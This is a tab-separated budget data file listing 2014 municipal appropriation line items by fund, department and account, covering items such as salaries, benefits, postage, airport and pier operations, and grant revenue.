8738	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1365349.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1365349.0
8739	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511749.0	VISION	804.0	Salaries and Wages	2014	1518.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1518.0
8740	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EAP	804.0	Salaries and Wages	2014	1144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1144.0
8741	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DCAP	804.0	Salaries and Wages	2014	780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	780.0
8742	BA	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402020.0	SM PIER - PARKING LOTS	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8743	BA	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402550.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8744	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407509.0	CAPITAL GR-MOSIP	657.0	Capital Grants	2014	-1182000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1182000.0
8745	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3338.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3338.0
8746	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566570.0	PERSONNEL EXAM EXPENSES	804.0	 Supplies and Expenses	2014	67000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	67000.0
8747	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	4728.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4728.0
8748	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	2800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2800.0
8749	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511810.0	TUITION REIMBURSEMENT	804.0	Salaries and Wages	2014	56900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	56900.0
8750	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	4843.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4843.0
8751	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	143000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	143000.0
8752	BA	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	514	OPEN SPACE MANAGEMENT	402930.0	UNIT DWELLING TAX	606.0	Other Local Taxes	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8753	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401010.0	SWIM CENTER-WET WORKOUTS	612.0	Charges for Service	2014	-17690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-17690.0
8754	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	5291.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5291.0
8755	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511748.0	DENTAL	816.0	Salaries and Wages	2014	21906.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21906.0
8756	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	7443.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7443.0
8757	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402140.0	AIRPORT - TIE DOWN CHARGES	650.0	Charges for Service	2014	-133900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-133900.0
8758	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511490.0	OVERTIME		Salaries and Wages	2014	2028.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2028.0
8759	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DCAP		Salaries and Wages	2014	492.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	492.0
8760	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2014	1828.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1828.0
8761	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522320.0	METERED POSTAGE		 Supplies and Expenses	2014	5646.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5646.0
8762	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	4182.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4182.0
8763	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577190.0	REPAYMENT OF LOAN		 Supplies and Expenses	2014	500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500000.0
8764	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588500.0	MISCELLANEOUS EQUIPMENT		 Supplies and Expenses	2014	19885.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19885.0
8765	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	8119.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8119.0
8766	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	26033.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26033.0
8767	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6758.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6758.0
8768	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10721.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10721.0
8769	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	4151.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4151.0
8770	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40000.0
8771	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	818050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	818050.0
8772	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	-1391.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1391.0
8773	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2014	8453.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8453.0
8774	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	21166.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21166.0
8775	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
8776	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	26500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26500.0
8777	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
8778	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
8779	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
8780	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407950.0	TRAINING GREEN BUILDING	612.0	Charges for Service	2014	-1040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1040.0
8781	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	129.0
8782	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	2666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2666.0
8783	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	5006.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5006.0
8784	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2813.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2813.0
8785	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	690550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	690550.0
8786	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	21882.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21882.0
8787	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	936.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	936.0
8788	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
8789	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	482.0
8790	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	160432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	160432.0
8791	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	2911.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2911.0
8792	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	309.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	309.0
8793	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1738.0
8794	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72.0
8795	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	115.0
8796	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	201691.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	201691.0
8797	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	4529.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4529.0
8798	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	150.0
8799	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	937.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	937.0
8800	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	588.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	588.0
8801	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2014	660.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	660.0
8802	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400400.0	FIELD CONCESSION & STORAGE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8803	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401002.0	SWIM CENTER-REC/LAP SWIM	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8804	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401003.0	SWIM CENTER-SWIM PASSES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8805	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8806	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522112.0	UTIL-LIGHT/POWER-BEACH	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8807	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522115.0	UTIL-LIGHT/POWER-LIBRARY PARKI	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8808	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8809	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8810	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	523.0
8811	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555170.0	MONITORING COSTS	808.0	 Supplies and Expenses	2014	58000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	58000.0
8812	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400300.0	ON STREET METERS	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8813	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560030.0	RAIN BARREL PROGRAM	808.0	 Supplies and Expenses	2014	13000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13000.0
8814	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560040.0	CISTERN PROGRAM	808.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
8815	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
8816	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-80800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-80800.0
8817	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-40400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40400.0
8818	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401590.0	PLANNING PRESUBMITTAL REVIEW	612.0	Charges for Service	2014	-3126.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3126.0
8819	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8820	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8821	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8822	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8823	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8824	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8825	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8826	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8827	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8828	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8829	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8830	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8831	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
8832	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407691.0	TAXI FRANCHISE FEES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8833	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407693.0	TAXI DRIVER PERMIT FEES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8834	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	347774.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	347774.0
8835	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	60438.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60438.0
8836	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2014	1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1200.0
8837	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	420.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	420.0
8838	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	40031.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40031.0
8839	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
8840	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2014	480340.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	480340.0
8841	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	5132.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5132.0
8842	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	3880.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3880.0
8843	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	47034.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47034.0
8844	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2014	2095.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2095.0
8845	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2014	18500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18500.0
8846	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	105023.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	105023.0
8847	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	15765.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15765.0
8848	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
8849	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	61500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61500.0
8850	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2014	12200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12200.0
8851	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	19479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19479.0
8852	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	555990.0	PARKING AGREEMENT W / MACERICH	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8853	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401420.0	TRANSACTION AND USE TAX	604.0	Sales Tax	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8854	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8855	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8856	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE		EAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8857	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8858	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8859	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8860	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405670.0	HBP-FHWA PIER BRIDGE	610.0	Intergovernmental	2014	-750000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-750000.0
